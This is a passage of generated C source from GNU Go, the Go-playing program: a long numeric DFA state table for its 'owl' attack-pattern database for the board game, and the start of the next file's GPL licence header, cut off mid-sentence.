{183,93}, {58,0}, {58,0}, {174,0}, {174,0}, {174,0}, {174,0}, {174,0}, {199,0}, {176,0}, {174,0}, {60,0}, {174,0}, {248,0}, {152,0}, {189,0}, {189,0}, {189,0}, {189,0}, {176,0}, {239,113}, {94,0}, {69,0}, {57,0}, {68,0}, {69,0}, {57,0}, {174,0}, {263,0}, {212,0}, {211,123}, {1,0}, {46,0}, {47,126}, {204,0}, {174,0}, {38,0}, {36,130}, {37,131}, {89,132}, {38,0}, {36,134}, {33,135}, {37,136}, {89,137}, {0,0}, {38,0}, {36,140}, {33,141}, {37,142}, {89,143}, {38,0}, {36,145}, {37,146}, {39,147}, {89,148}, {204,0}, {174,0}, {204,0}, {204,0}, {33,0}, {33,0}, {33,0}, {204,0}, {33,0}, {204,0}, {212,0}, {211,160}, {5,0}, {174,0}, {271,0}, {140,0}, {142,0}, {142,0}, {5,167}, {140,0}, {140,0}, {174,0}, {140,0}, {204,0}, {212,0}, {211,174}, {46,0}, {204,0}, {174,0}, {36,0}, {37,179}, {89,180}, {36,0}, {33,182}, {37,183}, {89,184}, {204,0}, {174,0}, {204,0}, {212,0}, {211,189}, {212,0}, {211,191}, {172,0}, {173,193}, {178,0}, {109,195}, {154,0}, {178,0}, {150,0}, {151,199}, {178,0}, {212,0}, {211,202}, {212,0}, {211,204}, {212,0}, {211,206}, {212,0}, {211,208}, {212,0}, {211,210}, {172,0}, {173,212}, {178,0}, {109,214}, {178,0}, {150,0}, {151,217}, {178,0}, {212,0}, {211,220}, {198,0}, {212,0}, {211,223}, {212,0}, {211,225}, {172,0}, {173,227}, {178,0}, {109,229}, {153,0}, {178,0}, {118,0}, {150,0}, {151,234}, {261,0}, {178,0}, {212,0}, {211,238}, {70,0}, {70,0}, {66,0}, {66,0}, {66,0}, {66,0}, {186,0}, {185,246}, {188,0}, {186,0}, {185,249}, {188,0}, {264,0}, {268,0}, {171,0}, {174,0}, {171,255}, {192,0}, {218,0}, {194,0}, {193,0}, {194,0}, {193,0}, {194,0}, {193,0}, {193,0}, {171,0}, {50,0}, {53,0}, {52,0}, {181,0}, {50,0}, {54,0}, {171,272}, {174,0}, {54,274}, {171,275}, {50,0}, {86,0}, {86,0}, {50,0}, {86,0}, {174,0}, {54,282}, {171,283}, {174,0}, {86,0}, {86,0}, {86,0}, {192,0}, {218,0}, {194,0}, {193,0}, {50,0}, {53,0}, {52,0}, {50,0}, {54,0}, {171,297}, {174,0}, {54,299}, {171,300}, {50,0}, {186,0}, {185,303}, {188,0}, {50,0}, {54,0}, {171,307}, {45,0}, {174,0}, {192,0}, {218,0}, {40,0}, {40,0}, {4,0}, {24,0}, {136,0}, {24,0}, {174,0}, {12,0}, {192,0}, {218,0}, {194,0}, {193,0}, {190,0}, {32,0}, {194,0}, {192,0}, {218,0}, {194,0}, {136,0}, {174,0}, {192,0}, {192,0}, {218,0}, {54,0}, {171,336}, {192,0}, {218,0}, {192,0}, {218,0}, {23,0}, {48,0}, {192,0}, {298,0}, {298,0}, {192,0}, {218,0}, {218,0}, {218,0}, {218,0}, {226,0}, {18,0}, {81,0}, {6,0}, {204,0}, {171,356}, {218,0}, {204,0}, {54,359}, {171,360}, {266,0}, {218,0}, {204,0}, {54,364}, {171,365}, {145,0}, {54,0}, {171,368}, {204,0}, {54,370}, {171,371}, {174,0}, {54,373}, {171,374}, {218,0}, {213,0}, {50,0}, {53,0}, {52,0}, {51,380}, {51,0}, {218,0}, {218,0}, {191,0}, {218,0}, {207,0}, {75,0}, {77,0}, {75,0}, {207,0}, {207,0}, {207,0}, {207,0}, {75,0}, {77,0}, {280,0}, {75,0}, {207,0}, {207,0}, {207,0}, {207,0}, {72,0}, {207,0}, {72,0}, {281,0}, {72,0}, {206,0}, {206,0}, {209,0}, {209,0}, {207,0}, {16,0}, {206,0}, {207,0}, {9,0}, {9,0}, {9,0}, {9,0}, {207,0}, {207,0}, {62,0}, {62,0}, {62,0}, {62,0}, {207,0}, {207,0}, {207,0}, {207,0}, {9,0}, {13,0}, {13,0}, {9,0}, {206,0}, {92,0}, {92,0}, {92,0}, {92,0}, {92,0}, {92,0}, {92,0}, {26,0}, {27,442}, {26,0}, {27,444}, {26,0}, {26,0}, {27,447}, {26,0}, {27,449}, {26,0}, {26,0}, {27,452}, {26,0}, {27,454}, {26,0}, {26,0}, {27,457}, {26,0}, {27,459}, {26,0}, {26,0}, {27,462}, {26,0}, {27,464}, {26,0}, {26,0}, {27,467}, {26,0}, {27,469}, {26,0}, {27,471}, {26,0}, {26,0}, {27,474}, {26,0}, {27,476}, {26,0}, {27,478}, {26,0}, {26,0}, {27,481}, {26,0}, {27,483}, {26,0}, {27,485}, {26,0}, {27,487}, {206,0}, {206,0}, {209,0}, {206,0}, {209,0}, {206,0}, {209,0}, {206,0}, {206,0}, {206,0}, {206,0}, {209,0}, {206,0}, {209,0}, {206,0}, {209,0}, {206,0}, {206,0}, {206,0}, {206,0}, {209,0}, {282,0}, {206,0}, {206,0}, {209,0}, {209,0}, {206,0}, {11,0}, {11,0}, {241,0}, {11,0}, {11,0}, {206,0}, {11,0}, {11,0}, {11,0}, {11,0}, {206,0}, {206,0}, {209,0}, {214,0}, {187,529}, {206,0}, {209,0}, {11,0}, {241,0}, {254,0}, {62,0}, {11,0}, {11,0}, {128,0}, {128,0}, {128,0}, {128,0}, {128,0}, {206,0}, {206,0}, {209,0}, {209,0}, {128,0}, {206,0}, {128,0}, {206,0}, {128,0}, {128,0}, {128,0}, {128,0}, {206,0}, {206,0}, {209,0}, {71,0}, {128,0}, {71,0}, {71,0}, {71,0}, {71,0}, {71,0}, {283,0}, {206,0}, {82,567}, {206,0}, {82,569}, {209,0}, {209,0}, {206,0}, {82,573}, {206,0}, {82,575}, {206,0}, {82,577}, {206,0}, {82,579}, {209,0}, {206,0}, {82,582}, {209,0}, {206,0}, {82,585}, {209,0}, {206,0}, {82,588}, {206,0}, {82,590}, {206,0}, {82,592}, {206,0}, {82,594}, {209,0}, {206,0}, {82,597}, {209,0}, {206,0}, {82,600}, {209,0}, {206,0}, {82,603}, {206,0}, {82,605}, {206,0}, {82,607}, {206,0}, {82,609}, {209,0}, {282,0}, {206,0}, {82,613}, {206,0}, {82,615}, {209,0}, {209,0}, {206,0}, {82,619}, {206,0}, {82,621}, {206,0}, {82,623}, {206,0}, {82,625}, {209,0}, {214,0}, {187,628}, {206,0}, {82,630}, {209,0}, {71,0}, {71,0}, {71,0}, {124,0}, {282,0}, {147,637}, {214,0}, {187,639}, {67,0}, {67,0}, {206,0}, {148,643}, {206,0}, {148,645}, {209,0}, {209,0}, {67,0}, {206,0}, {148,650}, {67,0}, {206,0}, {148,653}, {67,0}, {67,0}, {206,0}, {148,657}, {206,0}, {148,659}, {209,0}, {71,0}, {71,0}, {71,0}, {71,0}, {209,0}, {209,0}, {209,0}, {282,0}, {214,0}, {187,670}, {71,0}, {71,0}, {95,0}, {95,0}, {95,0}, {95,0}, {95,0}, {95,0}, {95,0}, {95,0}, {95,0}, {95,0}, {95,0}, {95,0}, {95,0}, {206,0}, {206,0}, {206,0}, {206,0}, {282,0}, {76,0}, {11,0}, {95,693}, {11,0}, {95,695}, {206,0}, {76,0}, {214,0}, {187,699}, {128,0}, {206,0}, {283,0}, {207,0}, {80,0}, {80,0}, {80,0}, {80,0}, {207,0}, {207,0}, {207,0}, {282,0}, {76,0}, {76,0}, {214,0}, {187,715}, {124,0}, {282,0}, {147,718}, {76,0}, {76,0}, {214,0}, {187,722}, {67,0}, {206,0}, {148,725}, {282,0}, {76,0}, {214,0}, {187,729}, {282,0}, {214,0}, {187,732}, {283,0}, {282,0}, {214,0}, {187,736}, {124,0}, {282,0}, {147,739}, {214,0}, {187,741}, {282,0}, {282,0}, {214,0}, {187,745}, {124,0}, {282,0}, {147,748}, {214,0}, {187,750}, {85,0}, {85,0}, {85,0}, {85,0}, {85,0}, {85,0}, {85,0}, {282,0}, {214,0}, {187,760}, {283,0}, {282,0}, {282,0}, {76,0}, {76,0}, {214,0}, {187,767}, {283,0}, {282,0}, {282,0}, {283,0}, {73,0}, {207,773}, {73,0}, {283,0}, {127,0}, {129,777}, {207,0}, {75,0}, {77,0}, {17,0}, {75,0}, {207,0}, {207,0}, {207,0}, {207,0}, {72,0}, {163,0}, {163,0}, {163,0}, {163,0}, {258,0}, {258,0}, {166,0}, {258,0}, {163,796}, {258,0}, {163,798}, {166,0}, {282,0}, {214,0}, {187,802}, {128,0}, {128,0}, {128,0}, {128,0}, {166,0}, {128,0}, {283,0}, {282,0}, {214,0}, {187,812}, {125,0}, {125,0}, {125,0}, {125,0}, {125,0}, {125,0}, {125,0}, {125,0}, {125,0}, {166,0}, {125,0}, {125,0}, {125,0}, {125,0}, {125,0}, {125,0}, {166,0}, {282,0}, {126,0}, {126,0}, {126,0}, {126,0}, {126,0}, {214,0}, {187,837}, {126,0}, {126,0}, {126,0}, {166,0}, {126,0}, {126,0}, {166,0}, {282,0}, {214,0}, {187,847}, {282,0}, {76,0}, {76,0}, {214,0}, {187,852}, {127,0}, {129,854}, {282,0}, {282,0}, {283,0}, {282,0}, {214,0}, {187,860}, {283,0}, {282,0}, {214,0}, {187,864}, {124,0}, {282,0}, {147,867}, {282,0}, {76,0}, {76,0}, {283,0}, {282,0}, {76,0}, {76,0}, {282,0}, {147,876}, {282,0}, {283,0}, {282,0}, {124,0}, {282,0}, {147,882}, {282,0}, {283,0}, {166,0}, {166,0}, {282,0}, {166,0}, {283,0}, {166,0}, {166,0}, {282,0}, {166,0}, {282,0}, {137,0}, {137,0}, {137,0}, {137,0}, {282,0}, {137,0}, {214,0}, {187,902}, {137,0}, {283,0}, {282,0}, {214,0}, {187,907}, {124,0}, {282,0}, {147,910}, {206,0}, {262,0}, {262,0}, {206,0}, {282,0}, {214,0}, {187,917}, {206,0}, {128,0}, {283,0}, {206,0}, {82,922}, {206,0}, {82,924}, {282,0}, {214,0}, {187,927}, {124,0}, {282,0}, {147,930}, {206,0}, {148,932}, {282,0}, {283,0}, {282,0}, {124,0}, {282,0}, {147,938}, {127,0}, {129,940}, {166,0}, {165,942}, {166,0}, {165,944}, {282,0}, {166,0}, {165,947}, {283,0}, {166,0}, {165,950}, {166,0}, {165,952}, {282,0}, {166,0}, {165,955}, {282,0}, {42,0}, {41,958}, {41,0}, {42,0}, {41,961}, {102,0}, {206,0}, {285,0}, {285,0}, {285,0}, {102,0}, {206,0}, {119,0}, {42,0}, {41,971}, {102,0}, {206,0}, {285,0}, {119,0}, {102,0}, {206,0}, {119,0}, {282,0}, {102,0}, {119,0}, {214,0}, {187,983}, {128,0}, {42,985}, {41,986}, {128,0}, {41,988}, {102,0}, {206,0}, {128,0}, {285,992}, {119,0}, {119,0}, {283,0}, {119,0}, {104,0}, {119,0}, {104,0}, {282,0}, {214,0}, {187,1002}, {119,0}, {104,0}, {243,0}, {124,0}, {119,0}, {282,0}, {147,1009}, {91,0}, {91,0}, {119,0}, {214,0}, {187,1014}, {102,0}, {139,0}, {119,0}, {159,0}, {119,0}, {282,0}, {214,0}, {187,1022}, {283,0}, {105,0}, {105,0}, {105,0}, {282,0}, {76,0}, {214,0}, {187,1030}, {282,0}, {147,1032}, {76,0}, {76,0}, {214,0}, {187,1036}, {282,0}, {147,1038}, {138,0}, {139,1040}, {119,0}, {282,0}, {214,0}, {187,1044}, {283,0}, {119,0}, {236,0}, {119,0}, {236,0}, {282,0}, {214,0}, {187,1052}, {282,0}, {19,0}, {96,0}, {96,0}, {19,0}, {19,0}, {19,0}, {282,0}, {214,0}, {187,1062}, {119,0}, {19,0}, {128,0}, {19,0}, {283,0}, {119,0}, {125,0}, {125,0}, {119,0}, {125,0}, {125,0}, {282,0}, {119,0}, {214,0}, {187,1077}, {126,0}, {126,0}, {297,0}, {119,0}, {19,0}, {96,0}, {19,0}, {282,0}, {283,0}, {196,0}, {196,0}, {196,0}, {196,0}, {196,0}, {282,0}, {11,0}, {128,0}, {283,0}, {282,0}, {124,0}, {282,0}, {283,0}, {282,0}, {124,0}, {282,0}, {147,1103}, {283,0}, {283,0}, {127,0}, {129,1107}, {282,0}, {283,0}, {282,0}, {127,0}, {129,1112}, {216,0}, {125,1114}, {216,0}, {125,1116}, {282,0}, {216,0}, {126,1119}, {214,0}, {187,1121}, {216,0}, {283,0}, {124,0}, {10,0}, {143,0}, {10,0}, {10,0}, {283,0}, {10,0}, {10,0}, {124,0}, {10,0}, {10,0}, {10,0}, {10,0}, {43,0}, {43,0}, {282,0}, {214,0}, {187,1141}, {216,0}, {206,0}, {232,0}, {232,0}, {206,0}, {282,0}, {214,0}, {187,1149}, {206,0}, {128,0}, {283,0}, {206,0}, {82,1154}, {206,0}, {82,1156}, {282,0}, {214,0}, {187,1159}, {124,0}, {282,0}, {147,1162}, {214,0}, {187,1164}, {206,0}, {148,1166}, {124,0}, {127,0}, {129,1169}, {283,0}, {124,0}, {282,0}, {283,0}, {282,0}, {124,0}, {282,0}, {147,1177}, {42,0}, {41,1179}, {103,0}, {103,0}, {282,0}, {214,0}, {187,1184}, {128,0}, {42,1186}, {41,1187}, {128,0}, {41,1189}, {277,1190}, {277,0}, {128,0}, {128,0}, {277,1194}, {283,0}, {101,0}, {101,0}, {282,0}, {214,0}, {187,1200}, {124,0}, {282,0}, {147,1203}, {214,0}, {187,1205}, {164,0}, {67,1207}, {164,0}, {67,1209}, {277,1210}, {283,0}, {282,0}, {124,0}, {162,0}, {161,1215}, {162,0}, {161,1217}, {282,0}, {147,1219}, {162,0}, {91,1221}, {161,1222}, {214,0}, {187,1224}, {162,0}, {161,1226}, {67,0}, {277,1228}, {162,0}, {161,1230}, {282,0}, {283,0}, {282,0}, {282,0}, {147,1235}, {282,0}, {282,0}, {283,0}, {282,0}, {282,0}, {283,0}, {282,0}, {282,0}, {147,1244}, {282,0}, {147,1246}, {270,0}, {67,1248}, {206,0}, {148,1250}, {270,0}, {64,0}, {63,1253}, {65,1254}, {64,0}, {63,1256}, {65,1257}, {209,0}, {64,0}, {63,1260}, {64,0}, {63,1262}, {65,1263}, {64,0}, {63,1265}, {65,1266}, {3,0}, {3,0}, {3,0}, {7,0}, {62,0}, {3,0}, {3,0}, {64,0}, {63,1275}, {65,1276}, {3,0}, {64,0}, {63,1279}, {65,1280}, {3,0}, {3,0}, {26,0}, {27,1284}, {3,0}, {64,0}, {63,1287}, {65,1288}, {209,0}, {64,0}, {63,1291}, {65,1292}, {64,0}, {63,1294}, {65,1295}, {64,0}, {63,1297}, {65,1298}, {282,0}, {3,0}, {11,1301}, {3,0}, {11,1303}, {3,0}, {11,1305}, {3,0}, {11,1307}, {3,0}, {11,1309}, {283,0}, {282,0}, {124,0}, {79,0}, {206,0}, {79,1315}, {209,0}, {79,0}, {206,0}, {79,1319}, {79,0}, {206,0}, {79,1322}, {282,0}, {147,1324}, {116,0}, {116,0}, {282,0}, {64,0}, {63,1329}, {65,1330}, {3,0}, {95,1332}, {3,0}, {95,1334}, {64,0}, {63,1336}, {65,1337}, {282,0}, {3,0}, {11,1340}, {95,1341}, {283,0}, {282,0}, {124,0}, {282,0}, {147,1346}, {282,0}, {283,0}, {124,0}, {282,0}, {147,1351}, {282,0}, {282,0}, {124,0}, {208,0}, {208,0}, {282,0}, {283,0}, {283,0}, {127,0}, {129,1361}, {130,0}, {130,0}, {26,0}, {27,1365}, {26,0}, {258,0}, {166,0}, {99,0}, {99,0}, {26,0}, {27,1372}, {26,0}, {26,0}, {27,1375}, {26,0}, {163,0}, {258,0}, {258,0}, {166,0}, {258,0}, {163,1382}, {282,0}, {283,0}, {282,0}, {125,0}, {135,0}, {135,0}, {125,0}, {125,0}, {135,0}, {125,0}, {135,0}, {166,0}, {282,0}, {282,0}, {127,0}, {129,1398}, {283,0}, {124,0}, {282,0}, {147,1402}, {124,0}, {166,0}, {166,0}, {282,0}, {283,0}, {166,0}, {282,0}, {282,0}, {283,0}, {282,0}, {124,0}, {282,0}, {147,1415}, {282,0}, {283,0}, {282,0}, {124,0}, {282,0}, {147,1421}, {124,0}, {282,0}, {147,1424}, {127,0}, {129,1426}, {166,0}, {165,1428}, {166,0}, {165,1430}, {282,0}, {283,0}, {166,0}, {165,1434}, {282,0}, {127,0}, {129,1437}, {282,0}, {255,0}, {64,0}, {29,1441}, {63,1442}, {177,0}, {29,0}, {64,0}, {29,1446}, {63,1447}, {29,0}, {102,0}, {206,0}, {285,0}, {119,0}, {119,0}, {282,0}, {29,0}, {30,0}, {177,0}, {29,0}, {206,0}, {119,0}, {283,0}, {206,0}, {82,1463}, {282,0}, {124,0}, {79,0}, {206,0}, {79,1468}, {282,0}, {147,1470}, {79,0}, {91,1472}, {282,0}, {283,0}, {282,0}, {282,0}, {294,0}, {208,0}, {119,0}, {282,0}, {283,0}, {282,0}, {177,0}, {119,0}, {19,0}, {96,0}, {19,0}, {177,0}, {177,0}, {119,0}, {19,0}, {96,0}, {19,0}, {96,0}, {19,0}, {19,0}, {282,0}, {283,0}, {125,0}, {135,0}, {119,0}, {125,0}, {19,0}, {135,0}, {125,0}, {19,0}, {282,0}, {126,0}, {127,0}, {129,1510}, {282,0}, {283,0}, {282,0}, {127,0}, {129,1515}, {216,0}, {125,1517}, {282,0}, {205,0}, {282,0}, {205,0}, {205,0}, {283,0}, {205,0}, {282,0}, {124,0}, {282,0}, {147,1528}, {205,0}, {205,0}, {282,0}, {64,0}, {63,1533}, {282,0}, {61,0}, {282,0}, {283,0}, {282,0}, {124,0}, {282,0}, {147,1541}, {21,0}, {29,0}, {282,0}, {21,1545}, {283,0}, {21,0}, {282,0}, {21,1549}, {124,0}, {21,1551}, {282,0}, {21,1553}, {147,1554}, {164,0}, {164,0}, {277,1557}, {21,0}, {282,0}, {21,1560}, {124,0}, {111,0}, {124,0}, {282,0}, {147,1565}, {162,0}, {161,1567}, {269,0}, {282,0}, {124,0}, {282,0}, {147,1572}, {209,0}, {209,0}, {282,0}, {95,0}, {282,0}, {282,0}, {282,0}, {127,0}, {129,1581}, {127,0}, {129,1583}, {127,0}, {129,1585}, {42,0}, {41,1587}, {28,0}, {252,0}, {41,0}, {42,0}, {41,1592}, {102,0}, {206,0}, {285,0}, {42,0}, {41,1597}, {228,0}, {41,0}, {102,0}, {206,0}, {285,0}, {119,0}, {282,0}, {206,0}, {206,0}, {128,0}, {42,1608}, {41,1609}, {128,0}, {41,1611}, {102,0}, {128,0}, {206,0}, {128,0}, {285,1616}, {128,0}, {42,1618}, {41,1619}, {128,0}, {41,1621}, {102,0}, {128,0}, {206,0}, {128,0}, {285,1626}, {283,0}, {206,0}, {82,1629}, {206,0}, {82,1631}, {282,0}, {124,0}, {93,0}, {93,0}, {206,0}, {206,0}, {93,0}, {206,0}, {119,0}, {282,0}, {147,1642}, {91,0}, {91,0}, {67,0}, {102,0}, {139,0}, {67,0}, {102,0}, {139,0}, {119,0}, {282,0}, {206,0}, {285,0}, {282,0}, {206,0}, {128,0}, {206,0}, {128,0}, {285,1660}, {283,0}, {206,0}, {82,1663}, {282,0}, {124,0}, {93,0}, {206,0}, {282,0}, {147,1669}, {91,0}, {67,0}, {139,0}, {282,0}, {124,0}, {282,0}, {283,0}, {282,0}, {283,0}, {282,0}, {283,0}, {125,0}, {125,0}, {282,0}, {126,0}, {126,0}, {125,0}, {282,0}, {126,0}, {282,0}, {283,0}, {196,0}, {282,0}, {283,0}, {282,0}, {127,0}, {129,1696}, {127,0}, {129,1698}, {282,0}, {42,0}, {41,1701}, {282,0}, {283,0}, {282,0}, {124,0}, {282,0}, {147,1707}, {124,0}, {162,0}, {161,1710}, {206,0}, {283,0}, {283,0}, {283,0}, {283,0}, {283,0}, {127,0}, {129,1718}, {283,0}, {127,0}, {129,1721}, {283,0}, {283,0}, {283,0}, {283,0}, {283,0}, {283,0}, {127,0}, {129,1729}, {283,0}, {283,0}, {222,0}, {221,1733}, {59,0}, {215,0}, {222,0}, {221,1737}, {222,0}, {221,1739}, {215,0}, {222,0}, {221,1742}, {215,0}, {168,0}, {167,1745}, {214,0}, {187,1747}, {222,0}, {221,1749}, {215,0}, {214,0}, {187,1752}, {222,0}, {221,1754}, {215,0}, {222,0}, {221,1757}, {184,0}, {184,0}, {214,0}, {187,1761}, {222,0}, {221,1763}, {215,0}, {76,0}, {76,0}, {168,0}, {167,1768}, {222,0}, {221,1770}, {168,0}, {167,1772}, {222,0}, {221,1774}, {108,0}, {106,1776}, {224,0}, {110,0}, {110,0}, {8,0}, {214,0}, {187,1782}, {146,0}, {222,0}, {221,1785}, {215,0}, {214,0}, {187,1788}, {222,0}, {221,1790}, {215,0}, {141,0}, {141,0}, {76,0}, {76,0}, {214,0}, {187,1797}, {222,0}, {221,1799}, {215,0}, {107,0}, {276,0}, {168,0}, {167,1804}, {230,0}, {119,1806}, {214,0}, {187,1808}, {222,0}, {221,1810}, {215,0}, {222,0}, {221,1813}, {215,0}, {220,0}, {219,1816}, {222,0}, {221,1818}, {59,0}, {168,0}, {167,1821}, {222,0}, {221,1823}, {168,0}, {167,1825}, {34,0}, {35,1827}, {214,0}, {187,1829}, {168,0}, {167,1831}, {289,0}, {253,0}, {214,0}, {187,1835}, {222,0}, {221,1837}, {215,0}, {214,0}, {187,1840}, {222,0}, {221,1842}, {215,0}, {168,0}, {167,1845}, {293,0}, {288,0}, {214,0}, {187,1849}, {222,0}, {221,1851}, {215,0}, {108,0}, {106,1854}, {107,0}, {222,0}, {221,1857}, {222,0}, {221,1859}, {168,0}, {167,1861}, {222,0}, {221,1863}, {120,0}, {121,0}, {121,0}, {168,0}, {167,1868}, {184,0}, {168,0}, {167,1871}, {168,0}, {167,1873}, {108,0}, {106,1875}, {114,0}, {120,0}, {110,1878}, {160,0}, {286,0}, {290,0}, {107,0}, {292,0}, {290,1884}, {168,0}, {167,1886}, {123,0}, {168,0}, {167,1889}, {123,0}, {168,0}, {167,1892}, {168,0}, {167,1894}, {168,0}, {167,1896}, {108,0}, {106,1898}, {107,0}, {108,0}, {106,1901}, {242,0}, {227,1903}, {113,0}, {252,0}, {242,1906}, {110,0}, {141,0}, {107,0}, {242,0}, {168,0}, {167,1912}, {168,0}, {167,1914}, {108,0}, {106,1916}, {107,0}, {168,0}, {167,1919}, {131,0}, {131,0}, {131,0}, {244,0}, {214,0}, {187,1925}, {214,0}, {187,1927}, {214,0}, {187,1929}, {122,0}, {122,0}, {122,0}, {133,0}, {133,0}, {122,0}, {76,0}, {76,0}, {214,0}, {187,1939}, {214,0}, {187,1941}, {76,0}, {202,0}, {202,0}, {76,0}, {214,0}, {187,1947}, {134,0}, {134,0}, {214,0}, {187,1951}, {214,0}, {187,1953}, {214,0}, {187,1955}, {214,0}, {187,1957}, {166,0}, {165,1959}, {274,0}, {119,0}, {235,0}, {119,0}, {245,0}, {214,0}, {187,1966}, {279,0}, {296,0}, {295,0}, {231,0}, {233,1971}, {214,0}, {187,1973}, {115,0}, {214,0}, {187,1976}, {267,0}, {214,0}, {187,1979}, {158,0}, {275,0}, {214,0}, {187,1983}, {26,0}, {14,1985}, {2,1986}, {27,1987}, {26,0}, {14,1989}, {2,1990}, {27,1991}, {26,0}, {14,1993}, {2,1994}, {98,0}, {98,0}, {158,0}, {240,0}, {274,0}, {252,2000}, {155,0}, {97,0}, {78,0}, {78,0}, {78,0}, {78,0}, {97,0}, {206,0}, {206,0}, {206,0}, {282,0}, {206,0}, {214,0}, {187,2014}, {97,0}, {128,0}, {97,0}, {206,0}, {283,0}, {282,0}, {124,0}, {175,0}, {175,0}, {175,0}, {175,0}, {175,0}, {175,0}, {175,0}, {175,0}, {206,0}, {206,0}, {206,0}, {175,0}, {206,0}, {175,0}, {206,0}, {206,0}, {206,0}, {282,0}, {147,2040}, {175,0}, {206,0}, {206,0}, {214,0}, {187,2045}, {100,0}, {282,0}, {282,0}, {76,0}, {76,0}, {283,0}, {124,0}, {282,0}, {147,2054}, {76,0}, {76,0}, {100,0}, {170,0}, {169,2059}, {170,0}, {169,2061}, {170,0}, {169,2063}, {170,0}, {169,2065}, {97,0}, {206,0}, {206,0}, {206,0}, {282,0}, {214,0}, {187,2072}, {214,0}, {187,2074}, {128,0}, {97,0}, {206,0}, {283,0}, {282,0}, {124,0}, {175,0}, {175,0}, {175,0}, {206,0}, {175,0}, {206,0}, {206,0}, {282,0}, {147,2089}, {214,0}, {187,2091}, {100,0}, {282,0}, {214,0}, {187,2095}, {282,0}, {283,0}, {124,0}, {282,0}, {147,2100}, {282,0}, {283,0}, {256,0}, {283,0}, {257,0}, {282,0}, {283,0}, {125,0}, {125,0}, {125,0}, {282,0}, {283,0}, {125,0}, {125,0}, {125,0}, {283,0}, {283,0}, {234,0}, {206,2119}, {237,0}, {237,0}, {282,0}, {214,0}, {187,2124}, {238,0}, {237,2126}, {88,0}, {282,0}, {214,0}, {187,2130}, {283,0}, {125,0}, {125,0}, {282,0}, {259,0}, {259,0}, {282,0}, {259,0}, {259,0}, {259,0}, {283,0}, {259,0}, {282,0}, {124,0}, {259,0}, {259,0}, {282,0}, {147,2148}, {259,0}, {100,0}, {282,0}, {283,0}, {124,0}, {259,0}, {282,0}, {259,0}, {283,0}, {179,0}, {179,0}, {282,0}, {259,0}, {259,0}, {283,0}, {179,0}, {179,0}, {282,0}, {283,0}, {179,0}, {179,0}, {282,0}, {283,0}, {179,0}, {179,0}, {282,0}, {88,0}, {88,0}, {282,0}, {283,0}, {282,0}, {147,2180}, {88,0}, {283,0}, {124,0}, {64,0}, {63,2185}, {65,2186}, {64,0}, {63,2188}, {282,0}, {283,0}, {282,0}, {124,0}, {282,0}, {147,2194}, {282,0}, {208,0}, {283,0}, {170,0}, {169,2199}, {282,0}, {88,0}, {282,0}, {283,0}, {259,0}, {259,0}, {282,0}, {283,0}, {282,0}, {124,0}, {282,0}, {147,2211}, {282,0}, {259,0}, {282,0}, {283,0}, {283,0}, {88,0}, {22,0}, {282,0}, {22,2220}, {283,0}, {22,0}, {282,0}, {22,2224}, {124,0}, {22,2226}, {282,0}, {22,2228}, {147,2229}, {22,0}, {282,0}, {22,2232}, {223,0}, {97,0}, {206,0}, {282,0}, {128,0}, {97,0}, {206,0}, {283,0}, {282,0}, {124,0}, {282,0}, {147,2244}, {282,0}, {283,0}, {125,0}, {97,0}, {282,0}, {97,0}, {206,0}, {283,0}, {124,0}, {282,0}, {147,2255}, {282,0}, {88,0}, {282,0}, {283,0}, {283,0}, {83,0}, {124,0}, {282,0}, {147,2264}, {283,0}, {144,0}, {283,0}, {144,0}, {144,0}, {124,2270}, {144,0}, {88,0}, {283,0}, {88,0}, {222,0}, {221,2276}, {222,0}, {221,2278}, {215,0}, {195,0}, {222,0}, {221,2282}, {195,0}, {197,0}, {197,0}, {214,0}, {187,2287}, {222,0}, {221,2289}, {215,0}, {220,0}, {219,2292}, {222,0}, {221,2294}, {284,0}, {259,0}, {222,0}, {221,2298}, {195,0}, {222,0}, {221,2301}, {284,0}, {195,0}, {195,0}, {222,0}, {221,2306}, {195,0}, {195,0}, {195,0}, {195,0}, {195,0}, {195,0}, {217,0}, {28,0}, {223,0}, {265,0}, {195,0}, {195,0}, {203,0}, {203,0}, {195,0}, {251,0}, {246,0}, {259,0}, {156,0}, {225,0}, {250,0}, {214,0}, {187,2329}, {250,0}, {250,0}, {149,0}, {260,0}, {157,0}, {182,0}, {182,0}, {182,0}, {182,0}, {182,0}, {182,0}, {182,0}, {278,0}, {278,0}, {278,0}, {278,0}, {278,0}, {282,0}, {180,2348}, {214,0}, {187,2350}, {128,0}, {128,0}, {128,0}, {283,0}, {282,0}, {124,0}, {282,0}, {147,2358}, {282,0}, {282,0}, {180,2361}, {76,0}, {76,0}, {124,0}, {282,0}, {147,2366}, {282,0}, {180,2368}, {124,0}, {282,0}, {147,2371}, {125,0}, {125,0}, {125,0}, {283,0}, {282,0}, {180,2377}, {283,0}, {87,0}, {282,0}, {147,2381}, {283,0}, {283,0}, {124,0}, {283,0}, {282,0}, {180,2387}, {282,0}, {147,2389}, {283,0}, {64,0}, {63,2392}, {65,2393}, {64,0}, {63,2395}, {65,2396}, {64,0}, {63,2398}, {65,2399}, {64,0}, {63,2401}, {64,0}, {63,2403}, {65,2404}, {247,0}, {247,0}, {247,0}, {64,0}, {63,2409}, {65,2410}, {249,0}, {249,0}, {249,0}, {64,0}, {63,2415}, {65,2416}, {64,0}, {63,2418}, {65,2419}, {282,0}, {180,2421}, {283,0}, {282,0}, {124,0}, {282,0}, {147,2426}, {132,0}, {132,0}, {132,0}, {132,0}, {124,0}, {282,0}, {147,2433}, {208,0}, {282,0}, {283,0}, {278,0}, {247,0}, {249,0}, {278,0}, {278,0}, {247,0}, {247,0}, {249,0}, {249,0}, {125,0}, {135,0}, {125,0}, {135,0}, {125,0}, {135,0}, {282,0}, {180,2453}, {124,0}, {282,0}, {147,2456}, {282,0}, {147,2458}, {117,0}, {117,0}, {283,0}, {112,0}, {272,0}, {272,0}, {273,0}, {182,0}, {273,0}, {272,0}, {282,0}, {180,2470}, {128,0}, {128,0}, {283,0}, {282,0}, {124,0}, {282,0}, {147,2477}, {125,0}, {124,0}, {222,0}, {221,2481}, {220,0}, {219,2483}, {74,0}, {287,0}, {291,0}, {229,0}, {220,0}, {219,2489}, }; static struct dfa dfa_owl_attackpat = { "owl_attackpat", state_owl_attackpat, 17138, 17137, idx_owl_attackpat, 2491, 2490}; struct pattern_db owl_attackpat_db = { -1, owl_attackpat ,& dfa_owl_attackpat }; /* owl_vital_apat.c */ /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * This is GNU GO, a Go program. Contact gnugo@gnu.org, or see * * http://www.gnu.org/software/gnugo/ for more information. * * * * Copyright 1999, 2000, 2001, 2002 by the Free Software Foundation. * * * * This program is free software; you can redistribute it and/or * * modify 